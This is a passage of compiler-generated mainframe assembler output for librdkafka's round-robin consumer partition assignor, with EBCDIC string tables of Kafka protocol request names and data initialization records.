* (FUNCTION #1917)
*
@AUTO#rd_kafka_roundrobin_assignor_assign_cb DSECT
DS XL168
rd_kafka_roundrobin_assignor_assign_cb#partition#1 DS 1F ; partition
ORG @AUTO#rd_kafka_roundrobin_assignor_assign_cb+168
rd_kafka_roundrobin_assignor_assign_cb#next#0 DS 1F ; next
ORG @AUTO#rd_kafka_roundrobin_assignor_assign_cb+168
rd_kafka_roundrobin_assignor_assign_cb#ti#0 DS 1F ; ti
*
@CODE CSECT
*
*
*
* ....... start of rd_kafka_roundrobin_assignor_init
rd_kafka_roundrobin_assignor_init ALIAS X'99846D92818692816D9996A495849*
9968289956D81A2A289879596996D899589A3'
@LNAME1603 DS 0H
DC X'00000021'
DC C'rd_kafka_roundrobin_assignor_ini'
DC C't'
DC X'00'
rd_kafka_roundrobin_assignor_init DCCPRLG CINDEX=1603,BASER=12,FRAME=24*
8,ENTRY=YES,ARCH=ZARCH,LNAMEADDR=@LNAME1603
* ******* End of Prologue
* *
* *** return rd_kafka_assignor_add(
* *** rk, "consumer", "roundrobin",
* *** RD_KAFKA_REBALANCE_PROTOCOL_EAGER,
* *** rd_kafka_roundrobin_assignor_assign_cb,
* *** rd_kafka_assignor_get_metadata_with_empty_user\
* data,
* *** ((void *)0), ((void *)0), ((void *)0), ((void \
* *)0));
LG 15,0(0,1) ; rk
STG 15,168(0,13)
LG 15,@lit_1603_13
LA 1,64(0,15)
STG 1,176(0,13)
LA 15,74(0,15)
STG 15,184(0,13)
MVGHI 192(13),1
LG 15,@lit_1603_14 ; rd_kafka_roundrobin_assignor_assign_cb
STG 15,200(0,13)
LG 15,@lit_1603_15 ; rd_kafka_assignor_get_metadata_with_em*
pty_userdata
STG 15,208(0,13)
XC 216(32,13),216(13)
LA 1,168(0,13)
LG 15,@lit_1603_16 ; rd_kafka_assignor_add
@@gen_label14 DS 0H
BALR 14,15
@@gen_label15 DS 0H
LGFR 15,15
* *** }
* * **** Start of Epilogue
DCCEPIL
* * **** End of Epilogue
DS 0D
@FRAMESIZE_1603 DC F'248'
@lit_1603_16 DC AD(rd_kafka_assignor_add)
@lit_1603_15 DC AD(rd_kafka_assignor_get_metadata_with_empty_userdata)
@lit_1603_14 DC AD(rd_kafka_roundrobin_assignor_assign_cb)
@lit_1603_13 DC AD(@strings@)
DROP 12
*
* DSECT for automatic variables in "rd_kafka_roundrobin_assignor_ini
* t"
* (FUNCTION #1603)
*
@AUTO#rd_kafka_roundrobin_assignor_init DSECT
DS XL168
*
@CODE CSECT
@@STATIC ALIAS X'7C998492818692816D9996A4958499968289956D81A2A289879596*
9950'
@@STATIC DXD 219D
*
* Non-Re-Entrant Data Section
*
@DATA CSECT
@DATA RMODE ANY
@DATA AMODE ANY
@@T48F DC X'99846D838193939683' rd.calloc
DC 1X'00'
@@T493 DC X'99846D948193939683' rd.malloc
DC 1X'00'
@@T498 DC X'99846D99858193939683' rd.realloc
DC 2X'00'
@@T49E DC X'99846DA2A39984A497' rd.strdup
DC 1X'00'
@@T4A3 DC X'99846DA2A3999584A497' rd.strndup
DC 2X'00'
@@T4AB DC X'99846D9985868395A36DA2A482F0' rd.refcnt.sub0
DC 4X'00'
@@T65A DC 4X'00'
DC X'0000001A000000000000002200000000' ................
DC X'00000024' ....
@@T67D DC X'99846D92818692816D94A287986D8485' rd.kafka.msgq.de
DC X'98' q
DC 1X'00'
@@T704 DC X'99846D92818692816D986D8485A2A399' rd.kafka.q.destr
DC X'96A8F0' oy0
DC 1X'00'
@@T785 DC X'99846D92818692816D8595986D969583' rd.kafka.enq.onc
DC X'856D8485A2A39996A8F0' e.destroy0
DC 2X'00'
@@T78D DC X'99846D92818692816D8595986D969583' rd.kafka.enq.onc
DC X'856D8485936DA296A4998385' e.del.source
DC 2X'00'
@@T794 DC X'99846D92818692816D8595986D969583' rd.kafka.enq.onc
DC X'856D8485936DA296A49983856D9985A3' e.del.source.ret
DC X'A49995' urn
DC 1X'00'
@@T79C DC X'99846D92818692816D8595986D969583' rd.kafka.enq.onc
DC X'856DA3998987878599' e.trigger
DC 1X'00'
@@T7A0 DC X'99846D92818692816D8595986D969583' rd.kafka.enq.onc
DC X'856D8485A2A39996A8' e.destroy
DC 1X'00'
@@T7A5 DC X'99846D92818692816D8595986D969583' rd.kafka.enq.onc
DC X'856D8489A281829385' e.disable
DC 1X'00'
@@T7C5 DC X'99846DA394978182A4866D8193939683' rd.tmpabuf.alloc
DC X'F0' 0
DC 1X'00'
@@T7F9 DC X'99846D92818692816D82A4866DA49784' rd.kafka.buf.upd
DC X'81A385' ate
DC 1X'00'
@@T81A DC X'99846D92818692816D82A4866D868995' rd.kafka.buf.fin
DC X'819389A9856D81999981A88395A3' alize.arraycnt
DC 2X'00'
@@T857 DC X'99846D92818692816D82A4866D839983' rd.kafka.buf.crc
DC X'6D899589A3' .init
DC 1X'00'
@@TA27 DC X'99846D92818692816D83A499996D94A2' rd.kafka.curr.ms
DC X'87A26DA2A482' gs.sub
DC 1X'00'
@strings@ DS 0H
DC X'C1E2E2C9C7D500009996A49584999682' ASSIGN..roundrob
DC X'89957A40D48594828599407F6CA27F7A' in..Member...s..
DC X'4081A2A2898795858440A39697898340' .assigned.topic.
DC X'6CA240978199A389A3899695406C8400' .s.partition..d.
DC X'839695A2A494859900009996A4958499' consumer..roundr
DC X'968289950000D7999684A4838500C685' obin..Produce.Fe
DC X'A3838800D68686A285A30000D485A381' tch.Offset..Meta
DC X'8481A3810000D38581848599C19584C9' data..LeaderAndI
DC X'A2990000E2A39697D985979389838100' sr..StopReplica.
DC X'E4978481A385D485A3818481A3810000' UpdateMetadata..
DC X'C39695A3999693938584E288A4A38496' ControlledShutdo
DC X'A6950000D68686A285A3C396949489A3' wn..OffsetCommit
DC X'0000D68686A285A3C685A3838800C689' ..OffsetFetch.Fi
DC X'9584C396969984899581A3969900D196' ndCoordinator.Jo
DC X'8995C79996A49700C8858199A3828581' inGroup.Heartbea
DC X'A300D38581A585C79996A4970000E2A8' t.LeaveGroup..Sy
DC X'9583C79996A49700C485A28399898285' ncGroup.Describe
DC X'C79996A497A20000D389A2A3C79996A4' Groups..ListGrou
DC X'97A20000E281A293C8819584A2888192' ps..SaslHandshak
DC X'8500C19789E58599A28996950000C399' e.ApiVersion..Cr
DC X'8581A385E396978983A20000C4859385' eateTopics..Dele
DC X'A385E396978983A20000C4859385A385' teTopics..Delete
DC X'D98583969984A200C99589A3D7999684' Records.InitProd
DC X'A4838599C9840000D68686A285A3C696' ucerId..OffsetFo
DC X'99D38581848599C5979683880000C184' rLeaderEpoch..Ad
DC X'84D78199A389A3899695A2E396E3A795' dPartitionsToTxn
DC X'0000C18484D68686A285A3A2E396E3A7' ..AddOffsetsToTx
DC X'9500C59584E3A7950000E69989A385E3' n.EndTxn..WriteT
DC X'A795D48199928599A200E3A795D68686' xnMarkers.TxnOff
DC X'A285A3C396949489A300C485A2839989' setCommit.Descri
DC X'8285C18393A20000C3998581A385C183' beAcls..CreateAc
DC X'93A20000C4859385A385C18393A20000' ls..DeleteAcls..
DC X'C485A28399898285C39695868987A200' DescribeConfigs.
DC X'C193A38599C39695868987A20000C193' AlterConfigs..Al
DC X'A38599D9859793898381D39687C48999' terReplicaLogDir
DC X'A200C485A28399898285D39687C48999' s.DescribeLogDir
DC X'A200E281A293C1A4A3888595A3898381' s.SaslAuthentica
DC X'A3850000C3998581A385D78199A389A3' te..CreatePartit
DC X'899695A20000C3998581A385C4859385' ions..CreateDele
DC X'8781A3899695E39692859500D9859585' gationToken.Rene
DC X'A6C48593858781A3899695E396928595' wDelegationToken
DC X'0000C5A797899985C48593858781A389' ..ExpireDelegati
DC X'9695E39692859500C485A28399898285' onToken.Describe
DC X'C48593858781A3899695E39692859500' DelegationToken.
DC X'C4859385A385C79996A497A20000C593' DeleteGroups..El
DC X'8583A3D38581848599A2D98598A485A2' ectLeadersReques
DC X'A300C995839985948595A38193C193A3' t.IncrementalAlt
DC X'8599C39695868987A2D98598A485A2A3' erConfigsRequest
DC X'0000C193A38599D78199A389A3899695' ..AlterPartition
DC X'D98581A2A2898795948595A3A2D98598' ReassignmentsReq
DC X'A485A2A30000D389A2A3D78199A389A3' uest..ListPartit
DC X'899695D98581A2A2898795948595A3A2' ionReassignments
DC X'D98598A485A2A300D68686A285A3C485' Request.OffsetDe
DC X'9385A385D98598A485A2A300C485A283' leteRequest.Desc
DC X'99898285C393898595A3D8A496A381A2' ribeClientQuotas
DC X'D98598A485A2A300C193A38599C39389' Request.AlterCli
DC X'8595A3D8A496A381A2D98598A485A2A3' entQuotasRequest
DC X'0000C485A28399898285E4A28599E283' ..DescribeUserSc
DC X'998194C39985848595A3898193A2D985' ramCredentialsRe
DC X'98A485A2A300C193A38599E4A28599E2' quest.AlterUserS
DC X'83998194C39985848595A3898193A2D9' cramCredentialsR
DC X'8598A485A2A30000E596A385D98598A4' equest..VoteRequ
DC X'85A2A300C285878995D8A49699A494C5' est.BeginQuorumE
DC X'97968388D98598A485A2A300C59584D8' pochRequest.EndQ
DC X'A49699A494C597968388D98598A485A2' uorumEpochReques
DC X'A300C485A28399898285D8A49699A494' t.DescribeQuorum
DC X'D98598A485A2A300C193A38599C9A299' Request.AlterIsr
DC X'D98598A485A2A300E4978481A385C685' Request.UpdateFe
DC X'81A3A49985A2D98598A485A2A300C595' aturesRequest.En
DC X'A58593969785D98598A485A2A3009596' velopeRequest.no
DC X'9585000087A989970000A295819797A8' ne..gzip..snappy
DC X'000093A9F400A9A2A384000089958885' ..lz4.zstd..inhe
DC X'9989A300839695868987A49985840000' rit.configured..
DC X'93858199958584008995A38599958193' learned.internal
DC X'00009396878983819300C99589A30000' ..logical.Init..
DC X'E3859994899581A38500C681A38193C5' Terminate.FatalE
DC X'999996990000D98598A485A2A3D7C9C4' rror..RequestPID
DC X'0000E68189A3E3998195A2979699A300' ..WaitTransport.
DC X'E68189A3D7C9C400C1A2A28987958584' WaitPID.Assigned
DC X'0000C499818995D985A285A30000C499' ..DrainReset..Dr
DC X'818995C2A4949700D9858184A8D596A3' ainBump.ReadyNot
DC X'C18392858400D9858184A800C995E399' Acked.Ready.InTr
DC X'8195A28183A389969500C285878995C3' ansaction.BeginC
DC X'96949489A300C396949489A3A3899587' ommit.Committing
DC X'E3998195A28183A389969500C3969494' Transaction.Comm
DC X'89A3D596A3C1839285840000C1829699' itNotAcked..Abor
DC X'A3899587E3998195A28183A389969500' tingTransaction.
DC X'C1829699A38584D596A3C18392858400' AbortedNotAcked.
DC X'C1829699A381829385C5999996990000' AbortableError..
*
*
* Re-entrant Data Initialization Section
*
@@INIT@ ALIAS C'rdkafka_roundrobin_assignor:'
@@INIT@ CSECT
@@INIT@ AMODE ANY
@@INIT@ RMODE ANY
DC XL1'5'
DC AL3(0)
DC AL4(288)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000001'
DC X'00000000'
DC X'000000FF'
DC X'0102039C09867F978D8E0B0C0D0E0F10' .....f.p........
DC X'1112139D8508871819928F1C1D1E1F80' ....e.g..k......
DC X'818283840A171B88898A8B8C05060790' abcd...hi.......
DC X'9116939495960498999A9B14159E1A20' j.lmno.qr.......
DC X'A0E2E4E0E1E3E5E7F1A22E3C282B7C26' .SU..TVX1s......
DC X'E9EAEBE8EDEEEFECDF21242A293B5E2D' Z..Y............
DC X'2FC2C4C0C1C3C5C7D1A62C255F3E3FF8' .BD.ACEGJw.....8
DC X'C9CACBC8CDCECFCC603A2340273D22D8' I..H...........Q
DC X'616263646566676869ABBBF0FDFEB1B0' ...........0....
DC X'6A6B6C6D6E6F707172AABAE6B8C6A4B5' ...........W.Fu.
DC X'7E737475767778797AA1BFD05BDEAEAC' ................
DC X'A3A5B7A9A7B6BCBDBEDDA8AF5DB4D77B' tv.zx.....y...P.
DC X'414243444546474849ADF4F6F2F3F57D' ..........46235.
DC X'4A4B4C4D4E4F505152B9FBFCF9FAFF5C' ............9...
DC X'F7535455565758595AB2D4D6D2D3D530' 7.........MOKLN.
DC X'313233343536373839B3DBDCD9DA9F40' ............R...
*
DC XL1'5'
DC AL3(0)
DC AL4(480)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000101'
DC X'00000000'
DC X'000000A0'
DC X'010203372D2E2F1605150B0C0D0E0F10' ................
DC X'1112133C3D322618193F271C1D1E1F40' ................
DC X'5A7F7B5B6C507D4D5D5C4E6B604B61F0' ...............0
DC X'F1F2F3F4F5F6F7F8F97A5E4C7E6E6F7C' 123456789.......
DC X'C1C2C3C4C5C6C7C8C9D1D2D3D4D5D6D7' ABCDEFGHIJKLMNOP
DC X'D8D9E2E3E4E5E6E7E8E9ADE0BD5F6D79' QRSTUVWXYZ......
DC X'81828384858687888991929394959697' abcdefghijklmnop
DC X'9899A2A3A4A5A6A7A8A9C04FD0A10720' qrstuvwxyz......
DC X'2122232425061728292A2B2C090A1B30' ................
DC X'311A333435360838393A3B04143EFF80' ................
*
DC XL1'5'
DC AL3(0)
DC AL4(520)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000001C0'
DC X'00000000'
DC X'00000001'
DC X'8A40404040404040' ........
*
DC XL1'5'
DC AL3(0)
DC AL4(560)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000001E0'
DC X'00000000'
DC X'00000001'
DC X'8B40404040404040' ........
*
DC XL1'D'
DC AL3(0)
DC AL4(600)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000220'
DC ADL8(@DATA)
DC X'00000000'
DC X'000001FC'
*
DC XL1'D'
DC AL3(0)
DC AL4(640)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000228'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000204'
*
DC XL1'D'
DC AL3(0)
DC AL4(680)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000230'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000020A'
*
DC XL1'D'
DC AL3(0)
DC AL4(720)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000238'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000212'
*
DC XL1'D'
DC AL3(0)
DC AL4(760)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000240'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000021C'
*
DC XL1'D'
DC AL3(0)
DC AL4(800)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000248'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000022A'
*
DC XL1'D'
DC AL3(0)
DC AL4(840)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000250'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000236'
*
DC XL1'D'
DC AL3(0)
DC AL4(880)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000258'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000246'
*
DC XL1'D'
DC AL3(0)
DC AL4(920)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000260'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000025A'
*
DC XL1'D'
DC AL3(0)
DC AL4(960)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000268'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000268'
*
DC XL1'D'
DC AL3(0)
DC AL4(1000)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000270'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000274'
*
DC XL1'D'
DC AL3(0)
DC AL4(1040)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000278'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000284'
*
DC XL1'D'
DC AL3(0)
DC AL4(1080)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000280'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000028E'
*
DC XL1'D'
DC AL3(0)
DC AL4(1120)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000288'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000298'
*
DC XL1'D'
DC AL3(0)
DC AL4(1160)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000290'
DC ADL8(@DATA)
DC X'00000000'
DC X'000002A4'
*
DC XL1'D'
DC AL3(0)
DC AL4(1200)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000298'
DC ADL8(@DATA)
DC X'00000000'
DC X'000002AE'
*
DC XL1'D'
DC AL3(0)
DC AL4(1240)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002A0'
DC ADL8(@DATA)
DC X'00000000'
DC X'000002BE'
*
DC XL1'D'
DC AL3(0)
DC AL4(1280)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002A8'
DC ADL8(@DATA)
DC X'00000000'
DC X'000002CA'
*
DC XL1'D'
DC AL3(0)
DC AL4(1320)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002B0'
DC ADL8(@DATA)
DC X'00000000'
DC X'000002D8'
*
DC XL1'D'
DC AL3(0)
DC AL4(1360)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002B8'
DC ADL8(@DATA)
DC X'00000000'
DC X'000002E4'
*
DC XL1'D'
DC AL3(0)
DC AL4(1400)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002C0'
DC ADL8(@DATA)
DC X'00000000'
DC X'000002F2'
*
DC XL1'D'
DC AL3(0)
DC AL4(1440)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002C8'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000300'
*
DC XL1'D'
DC AL3(0)
DC AL4(1480)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002D0'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000030E'
*
DC XL1'D'
DC AL3(0)
DC AL4(1520)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002D8'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000031E'
*
DC XL1'D'
DC AL3(0)
DC AL4(1560)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002E0'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000334'
*
DC XL1'D'
DC AL3(0)
DC AL4(1600)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002E8'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000348'
*
DC XL1'D'
DC AL3(0)
DC AL4(1640)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002F0'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000358'
*
DC XL1'D'
DC AL3(0)
DC AL4(1680)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002F8'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000360'
*
DC XL1'D'
DC AL3(0)
DC AL4(1720)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000300'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000370'
*
DC XL1'D'
DC AL3(0)
DC AL4(1760)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000308'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000380'
*
DC XL1'D'
DC AL3(0)
DC AL4(1800)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000310'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000038E'
*
DC XL1'D'
DC AL3(0)
DC AL4(1840)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000318'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000039A'
*
DC XL1'D'
DC AL3(0)
DC AL4(1880)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000320'
DC ADL8(@DATA)
DC X'00000000'
DC X'000003A6'
*
DC XL1'D'
DC AL3(0)
DC AL4(1920)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000328'
DC ADL8(@DATA)
DC X'00000000'
DC X'000003B6'
*
DC XL1'D'
DC AL3(0)
DC AL4(1960)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000330'
DC ADL8(@DATA)
DC X'00000000'
DC X'000003C4'
*
DC XL1'D'
DC AL3(0)
DC AL4(2000)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000338'
DC ADL8(@DATA)
DC X'00000000'
DC X'000003D8'
*
DC XL1'D'
DC AL3(0)
DC AL4(2040)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000340'
DC ADL8(@DATA)
DC X'00000000'
DC X'000003E8'
*
DC XL1'D'
DC AL3(0)
DC AL4(2080)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000348'
DC ADL8(@DATA)
DC X'00000000'
DC X'000003FA'
*
DC XL1'D'
DC AL3(0)
DC AL4(2120)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000350'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000040C'
*
DC XL1'D'
DC AL3(0)
DC AL4(2160)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000358'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000422'
*
DC XL1'D'
DC AL3(0)
DC AL4(2200)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000360'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000438'
*
DC XL1'D'
DC AL3(0)
DC AL4(2240)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000368'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000044E'
*
DC XL1'D'
DC AL3(0)
DC AL4(2280)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000370'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000466'
*
DC XL1'D'
DC AL3(0)
DC AL4(2320)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000378'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000474'
*
DC XL1'D'
DC AL3(0)
DC AL4(2360)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000380'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000488'
*
DC XL1'D'
DC AL3(0)
DC AL4(2400)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000388'
DC ADL8(@DATA)
DC X'00000000'
DC X'000004A8'
*
DC XL1'D'
DC AL3(0)
DC AL4(2440)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000390'
DC ADL8(@DATA)
DC X'00000000'
DC X'000004CC'
*
DC XL1'D'
DC AL3(0)
DC AL4(2480)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000398'
DC ADL8(@DATA)
DC X'00000000'
DC X'000004EE'
*
DC XL1'D'
DC AL3(0)
DC AL4(2520)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000003A0'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000502'
*
DC XL1'D'
DC AL3(0)
DC AL4(2560)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000003A8'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000051E'
*
DC XL1'D'
DC AL3(0)
DC AL4(2600)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000003B0'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000538'
*
DC XL1'D'
DC AL3(0)
DC AL4(2640)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000003B8'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000055C'
*
DC XL1'D'
DC AL3(0)
DC AL4(2680)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000003C0'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000057E'
*
DC XL1'D'
DC AL3(0)
DC AL4(2720)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000003C8'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000058A'
*
DC XL1'D'
DC AL3(0)
DC AL4(2760)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000003D0'
DC ADL8(@DATA)
DC X'00000000'
DC X'000005A2'
*
DC XL1'D'
DC AL3(0)
DC AL4(2800)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000003D8'
DC ADL8(@DATA)
DC X'00000000'
DC X'000005B8'
*
DC XL1'D'
DC AL3(0)
DC AL4(2840)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000003E0'
DC ADL8(@DATA)
DC X'00000000'
DC X'000005CE'
*
DC XL1'D'
DC AL3(0)
DC AL4(2880)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000003E8'
DC ADL8(@DATA)
DC X'00000000'
DC X'000005DE'
*
DC XL1'D'
DC AL3(0)
DC AL4(2920)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000003F0'
DC ADL8(@DATA)
DC X'00000000'
DC X'000005F4'
*
DC XL1'D'
DC AL3(0)
DC AL4(2960)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000004C0'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000604'
*
DC XL1'D'
DC AL3(0)
DC AL4(3000)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000004C8'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000060A'
*
DC XL1'D'
DC AL3(0)
DC AL4(3040)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000004D0'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000610'
*
DC XL1'D'
DC AL3(0)
DC AL4(3080)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000004D8'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000618'
*
DC XL1'D'
DC AL3(0)
DC AL4(3120)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000004E0'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000061C'
*
DC XL1'D'
DC AL3(0)
DC AL4(3160)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000004E8'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000622'
*
DC XL1'D'
DC AL3(0)
DC AL4(3200)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000510'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000062A'
*
DC XL1'D'
DC AL3(0)
DC AL4(3240)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000518'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000636'
*
DC XL1'D'
DC AL3(0)
DC AL4(3280)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000520'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000063E'
*
DC XL1'D'
DC AL3(0)
DC AL4(3320)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000528'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000648'
*
DC XL1'D'
DC AL3(0)
DC AL4(3360)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000630'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000650'
*
DC XL1'D'
DC AL3(0)
DC AL4(3400)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000638'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000656'
*
DC XL1'D'
DC AL3(0)
DC AL4(3440)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000640'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000660'
*
DC XL1'D'
DC AL3(0)
DC AL4(3480)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000648'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000066C'
*
DC XL1'D'
DC AL3(0)
DC AL4(3520)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000650'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000678'
*
DC XL1'D'
DC AL3(0)
DC AL4(3560)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000658'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000686'
*
DC XL1'D'
DC AL3(0)
DC AL4(3600)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000660'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000068E'
*
DC XL1'D'
DC AL3(0)
DC AL4(3640)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000668'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000698'
*
DC XL1'D'
DC AL3(0)
DC AL4(3680)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000670'
DC ADL8(@DATA)
DC X'00000000'
DC X'000006A4'
*
DC XL1'D'
DC AL3(0)
DC AL4(3720)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000678'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000650'
*
DC XL1'D'
DC AL3(0)
DC AL4(3760)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000680'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000686'
*
DC XL1'D'
DC AL3(0)
DC AL4(3800)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000688'
DC ADL8(@DATA)
DC X'00000000'
DC X'000006AE'
*
DC XL1'D'
DC AL3(0)
